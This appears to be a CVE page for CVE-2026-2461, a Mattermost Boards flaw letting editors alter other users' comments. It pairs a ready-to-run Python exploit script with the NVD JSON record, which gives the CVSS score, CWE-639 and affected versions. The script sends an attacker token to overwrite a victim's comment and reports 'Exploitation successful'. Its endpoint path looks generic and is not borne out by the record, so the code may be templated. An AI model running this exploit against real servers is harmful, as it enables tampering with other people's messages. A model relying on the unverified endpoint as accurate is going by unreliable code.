CVE-2026-2461

# CVE-2026-2461 PoC - Mattermost Comment Modification # This PoC demonstrates the authorization bypass in comment block modification import requests import json TARGET_URL = "https://mattermost.example.com/api/v4/plugins" ACCESS_TOKEN = "attacker_access_token_here" def modify_comment(target_comment_id, malicious_content): """ Exploit: Modify comments created by other board members without proper authorization checks """ headers = { "Authorization": f"Bearer {ACCESS_TOKEN}", "Content-Type": "application/json" } # Original comment belongs to another user payload = { "comment_id": target_comment_id, # Other user's comment "content": malicious_content, "block_type": "comment" } # No ownership validation - attacker can modify any comment response = requests.post( f"{TARGET_URL}/boards/modify-comment", headers=headers, json=payload ) return response.status_code == 200 # Example usage if __name__ == "__main__": victim_comment_id = "comment_123456" fake_content = "Modified by attacker via CVE-2026-2461" success = modify_comment(victim_comment_id, fake_content) print(f"Exploitation successful: {success}")

{"cve": {"id": "CVE-2026-2461", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:19:29.753", "lastModified": "2026-03-20T18:30:35.217", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mattermost Plugins versions <=11.3 11.0.3 11.2.2 10.10.11.0 fail to implement authorisation checks on comment block modifications, which allows an authorised attacker with editor permission to modify comments created by other board members. Mattermost Advisory ID: MMSA-2025-00559"}, {"lang": "es", "value": "Las versiones de los plugins de Mattermost &lt;=11.3 11.0.3 11.2.2 10.10.11.0 no implementan comprobaciones de autorización en las modificaciones de bloques de comentarios, lo que permite a un atacante autorizado con permiso de editor modificar comentarios creados por otros miembros del tablero. ID de aviso de Mattermost: MMSA-2025-00559"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.11.11", "matchCriteriaId": "BCB7AD99-5C39-426F-842F-71A2EA2A15BF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.0.0", "versionEndIncluding": "11.0.3", "matchCriteriaId": "D19D4EFF-0820-4296-A13B-4706A6C0F643"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.1.0", "versionEndExcluding": "11.2.3", "matchCriteriaId": "3889F6BD-40C6-4AE8-802B-73ACFD119A04"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.3.0", "versionEndExcluding": "11.3.1", "matchCriteriaId": "945A6E29-209F-4992-8692-BEF63DCB6B98"}]}]}], "references": [{"url": "https://mattermost.com/security-updates", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}